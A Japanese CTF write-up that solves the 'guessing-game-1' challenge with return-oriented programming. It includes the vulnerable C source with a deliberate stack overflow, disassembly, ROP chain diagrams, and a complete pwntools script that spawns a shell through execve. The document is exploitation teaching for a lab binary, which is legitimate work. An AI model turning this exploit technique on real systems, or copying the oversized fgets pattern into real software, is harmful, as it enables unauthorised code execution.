Pwnable - 典型問題シリーズ
- Stack Overflow編
- ROP編(本記事)
- Heap Exploit編
- FSB編
- その他編
目次
guessing-game-1
解析対象のバイナリのArchは64ビット。
Arch: amd64-64-little
最初の乱数は常に84であることが、何回か実行すればわかる。さらに、win
関数内が100バイトのBUF
に360バイト分書き込める仕様になっている。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
printf("ans is %ld\n", ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
625 0000000000400c40 <win>: 626 400c40: 55 push %rbp
627 400c41: 48 89 e5 mov %rsp,%rbp
628 400c44: 48 83 ec 70 sub $0x70,%rsp
629 400c48: 48 8d 3d 78 24 09 00 lea 0x92478(%rip),%rdi # 4930c7 <_IO_stdin_used+0x87>
630 400c4f: b8 00 00 00 00 mov $0x0,%eax
631 400c54: e8 b7 f3 00 00 call 410010 <_IO_printf>
632 400c59: 48 8b 15 48 9b 2b 00 mov 0x2b9b48(%rip),%rdx # 6ba7a8 <_IO_stdin>
633 400c60: 48 8d 45 90 lea -0x70(%rbp),%rax
634 400c64: be 68 01 00 00 mov $0x168,%esi
635 400c69: 48 89 c7 mov %rax,%rdi
636 400c6c: e8 9f fd 00 00 call 410a10 <_IO_fgets>
637 400c71: 48 8d 45 90 lea -0x70(%rbp),%rax
638 400c75: 48 89 c6 mov %rax,%rsi
639 400c78: 48 8d 3d 5b 24 09 00 lea 0x9245b(%rip),%rdi # 4930da <_IO_stdin_used+0x9a>
640 400c7f: b8 00 00 00 00 mov $0x0,%eax
641 400c84: e8 87 f3 00 00 call 410010 <_IO_printf>
642 400c89: 90 nop
643 400c8a: c9 leave
644 400c8b: c3 ret
バイナリにsyscall
命令が含まれているので、execve("/bin/sh",NULL,NULL)
を実行することを目標にする (ちなみに、execve
の引数は、1番目が実行対象のプログラムのパス、2番目がプログラムに渡す引数の配列、3番目がプログラムに渡す環境変数の配列)。
1432 401902: 48 89 76 10 mov %rsi,0x10(%rsi)
1433 401906: 0f 05 syscall 1434 401908: 85 c0 test %eax,%eax
1435 40190a: 74 14 je 401920 <__libc_setup_tls+0x190>
バイナリ内に/bin/sh\x00
という文字列は存在しないようなので、自分で書き込む必要がある。例えば、以下のようなROP-Chainを組むことで、.bss
セクションに/bin/sh\x00
を書き込むことができる。
| address to (pop rax; ret) |
|----------------------------------------------|
| "/bin/sh\x00" | <- raxに`/bin/sh\x00`を格納
|----------------------------------------------|
| address to (pop rsi; ret) |
|----------------------------------------------|
| .bss | <- rsxに`.bss`セクションのアドレスを格納
|----------------------------------------------|
| address to (mov qword ptr [rsi], rax ; ret) | <- `.bss`セクションにraxに格納された`bin/sh\x00`を書き込み
|----------------------------------------------|
次に、execve("/bin/sh",NULL,NULL)
を実行するROP-Chainを組む。64ビットでは以下のように、レジスタに第1~6引数が格納される。
引数 第1引数 第2引数 第3引数 第4引数 第5引数 第6引数
レジスタ rdi rsi rdx rcx r8 r9
また、syscall
を使ってexecve
を呼び出したいので、rax
にexecve
に対応する59 (0x3b)
を格納しておく。
| address to (pop rdi; ret) |
|---------------------------|
| .bss ("/bin/sh") |
|---------------------------|
| address to (pop rsi; ret) |
|---------------------------|
| 0x0 |
|---------------------------|
| address to (pop rdx; ret) |
|---------------------------|
| 0x0 |
|---------------------------|
| address to (pop rax; ret) |
|---------------------------|
| 0x3b |
|---------------------------|
| address to (syscall; ret) |
|---------------------------|
各セクションのアドレスはreadelf
コマンドで分かる。
readelf -S vuln
There are 33 section headers, starting at offset 0xcf0a8:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
.
.
.
[26] .bss NOBITS 00000000006bc3a0 000bc398
00000000000016f8 0000000000000000 WA 0 0 32
[27] __libc_freer[...] NOBITS 00000000006bda98 000bc398
0000000000000028 0000000000000000 WA 0 0 8
.
.
.
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
R (retain), D (mbind), l (large), p (processor specific)
元のスタックは以下の通りである。
| | <- 0x7fffffffd9d0 (rsp)
| data (112byte) |
| |
|---------------------| <- 0x7fffffffda40 (rbp)
| rbp |
|---------------------|
| return-address |
|---------------------|
スタックオーバフローの脆弱性を活かして、スタックの中身を以下のように改変する。
| |
| Padding (120byte) |
| |
| |
| |
|---------------------|
| ROP-Chain | <- return addresをROP-Chainの先頭に改変
|---------------------|
最終的な攻撃コードは以下の通り。
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)
pop_rax_ret = rop.find_gadget(["pop rax", "ret"]).address
pop_rsi_ret = rop.find_gadget(["pop rsi", "ret"]).address
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address
pop_rdx_ret = rop.find_gadget(["pop rdx", "ret"]).address
mov_rsi_rax = 0x47ff91 # ROPGagetで見つけました
bss_addr = 0x6bc3a0
syscall = rop.find_gadget(["syscall", "ret"]).address
write_bss = p64(pop_rax_ret)
write_bss += b"/bin/sh\x00"
write_bss += p64(pop_rsi_ret)
write_bss += p64(bss_addr)
write_bss += p64(mov_rsi_rax)
call_execve = p64(pop_rdi_ret)
call_execve += p64(bss_addr)
call_execve += p64(pop_rsi_ret)
call_execve += p64(0x0)
call_execve += p64(pop_rdx_ret)
call_execve += p64(0x0)
call_execve += p64(pop_rax_ret)
call_execve += p64(0x3b)
call_execve += p64(syscall)
chain = write_bss + call_execve
r = process("./vuln")
r.recvuntil(b"What number would you like to guess?")
r.sendline(b"84")
r.recvuntil(b"Name?")
r.sendline(b"A"*120 + chain)
r.interactive()